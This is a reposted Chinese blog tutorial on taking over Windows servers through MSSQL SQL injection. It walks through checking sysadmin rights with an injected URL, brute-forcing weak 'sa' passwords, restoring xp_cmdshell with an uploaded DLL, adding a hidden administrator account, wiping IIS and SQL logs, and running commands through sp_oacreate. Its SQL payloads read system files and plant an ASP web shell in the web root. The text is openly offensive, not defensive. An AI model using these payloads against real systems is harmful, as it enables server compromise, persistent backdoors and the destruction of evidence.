利用Xp Cmdshell取得服务器的管理权,很可怕的SQL注入
发布时间:2020-12-14 02:36:07 所属栏目:Windows 来源:网络整理
导读:在MSSQL中具有sysadmin权限的用户可以通过xp_cmdshell存储扩展以system的权限执行任意系统命令,因此大多数对安全比较重视的管理员都会将它删除,即使没有删除也有可能会由于获得的权限不足而前功尽弃。因此获得了xp_cmdshell的执行权限也就成了大多数SQL?In
在MSSQL中具有sysadmin权限的用户可以通过xp_cmdshell存储扩展以system的权限执行任意系统命令,因此大多数对安全比较重视的管理员都会将它删除,即使没有删除也有可能会由于获得的权限不足而前功尽弃。因此获得了xp_cmdshell的执行权限也就成了大多数SQL?Injection攻击方法的终极目标。我给大家介绍一下在此过程中涉及到的几个关键问题及其解决方法。权当是抛砖引玉。
获取当前用户权限 在MSSQL中一共存在8种权限:sysadmin,?dbcreator,?diskadmin,?processadmin,?serveradmin,?setupadmin,?securityadmin,?bulkadmin。每一个权限具有不同的作用,同时也决定了我们的成败。在这8种权限中只有sysadmin才是我们真正想要得,因此只需要提交 http://somesite/show.asp?id=4864?and?1=(select?IS_SRVROLEMEMBER(’sysadmin’)) 来判断当前用户是否具有sysadmin权限。如果返回正常的话那就恭喜了,今天足彩肯定中奖!否则的话(谁拿鸡蛋扔我了^_^)我们还有其他的方法可以用呢。 破解sa账号的弱口令 这种方法应该不属于SQL?Injection的范畴,但在我们的整个渗透过程中往往会起到决定性的作用。好了,闲话少说,打开我最常用SQLScanPass,将主机IP及端口1433写入SQLHost.Txt文件中,先测试一下空口令,如果没成功的话,就挂一个好用的字典,成功的几率便会大大增加。运行界面如图所示 现在我们可以沏上一杯咖啡慢慢的享受,慢慢的等待了。 判断存储扩展检测 ??如果当前网站用户使用的就是sysadmin权限,就可以利用愁要饭的方法进行存储扩展的检测及恢复,这样会容易很多。如果是获得sa或其他账号弱口令的话,剩下的任务就可以交给SQLTools.exe了。这个程序是由蓝色光芒编写,其功能强大的难以想象。但是除了执行数据库命令以外都需要一定的存储扩展支持,因此首先要判断这些存储扩展是否存在。从"利用目录"菜单中打开执行数据库命令窗口,填入我们要执行的命令。例如 select?count(*)?from?master.dbo.sysobjects?where?xtype=’X’?and?name=’xp_cmdshell’ 用于判断是否存在xp_cmdshell存储扩展,运行界面如图所示 如果返回结果为1的话我们就可以使用菜单中的"执行DOS命令"选项了。否则的话就要往下看了。 恢复xp_cmdshell,抓住肉鸡 直接在数据库命令执行窗口写入 Exec?master.dbo.addextendedproc?’xp_cmdshell’,?’xplog70.dll’;?select?count(*)?from?master.dbo.sysobjects?where?xtype=’X’?and?name=’xp_cmdshell’ 如果返回1的话就说明恢复成功,否则的话就需要我们给他上传一个xplog70.dll文件。 打开文件上传的窗口将文件上传到C:/WinNt/System32/下后执行数据库命令 Exec?master.dbo.addextendedproc?’xp_cmdshell’,?’C:/WinNt/System32/xplog70.dll’。 OK,剩下的就是我们日常使用的net?use和net?localgroup命令了,为服务器添加一个隐藏的账号,清理好IIS日志和MSSQL日志闪人。 绕过xp_cmdshell执行系统命令 在MSSQL中可以通过sp_oacreate?和sp_oamethod?两个存储扩展创建ActiveX自动脚本。因此执行系统命令的语句可以写成: declare?@o?int? exec?sp_oacreate?’wscript.shell’,?@o?out? exec?sp_oamethod?@o,?’run’,?NULL,?’net?start?telnet’ 他的作用是在服务器端通过wscript.shell执行net?start?telnet,从而开启服务器的telnet服务。 你一定会想到FSO了!对,我们也可以通过它进行文件的管理,例如: declare?@o?int,?@f?int,?@t?int,?@ret?int?,@c?varchar(8000) declare?@line?varchar(8000) exec?sp_oacreate?’scripting.filesystemobject’,?’opentextfile’,?@f?out,?’c:/boot.ini’,?1? exec?@ret?=?sp_oamethod?@f,?’readline’,?@line?out select?@c=’’ while(?@ret?=?0)? begin? select?@ [email?protected] [email?protected]+char(13)+char(10) exec?@ret?=?sp_oamethod?@f,?@line?out? end 可以读取c:/boot.ini文件中的内容并存储在局部变量@c中。如果想读出来,只需要创建一个临时表写入就可以了。 用这种方法也可以创建文件,并写入数据,例如: declare?@o?int,?@ret?int? exec?sp_oacreate?’scripting.filesystemobject’,?’createtextfile’,?’c:/inetpub/wwwroot/foo.asp’,?’writeline’,?’<%?set?o?=?server.createobject("wscript.shell"):?o.run("cmd.exe?/c?"&request.querystring("cmd"))?%>’ 在c:/inetpub/wwwroot/foo.asp创建了一个只有两行代码的asp木马。这种方法避免了使用备份所带来的大量无用数据和使用sp_makewebtask存储扩展所带来的创建临时表的麻烦。这可是居家旅行,杀人硬盘的必备工具阿! 总论 MSSQL为我们提供了异常丰富的存储扩展库,可以完成操作系统所能完成的大部分重要的功能,例如注册表管理、文件管理、用户管理、权限管理等。但是如果没有足够的安全防范意识,就会给服务器带来致命性的威胁。? 再分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
相关内容
- windows-server-2003 – 使用CentOS 5.3的虚拟化Windows 20
- .net – 为什么Windows服务不能与System.Timers.Timer或Sys
- 在Windows上获取PILow而不是Pillow for Python 2.7 64位
- 命名管道 – Windows 8命名管道创建
- 使用.NET 4.5编写的软件需要什么版本的.NET运行时?
- Windows – SSH RC4密码:究竟有什么风险?
- 推荐的Windows 8 Metro开发硬件?
- windows-7 – 为什么我的项目图标在Windows 7中看起来如此可
- windows – 当你不在本地时,如何重启服务器?
- windows – 如何从命令行获取文件的所有权?
推荐文章
站长推荐
- 如何在Windows上使用R设置和使用MPI
- 安装 – 如何在Windows Server 2008上安装Hudson
- windows-phone-7 – 隔离存储中的数据持续多长时
- Windows之间的jQuery / javascript通信?
- 系统管理员为Windows专家/ Lunix Noob提供Debian
- 从Windows 2008 Server同时运行IIS 7和JBoss AS
- 如何在Wix安装程序中从命令行参数定义安装文件夹
- windows – PE和ELF二进制代码差异
- .net – 桌面应用程序中的WPF与Windows窗体
- win10上部署Hadoop-2.7.3——非Cygwin、非虚拟机
热点阅读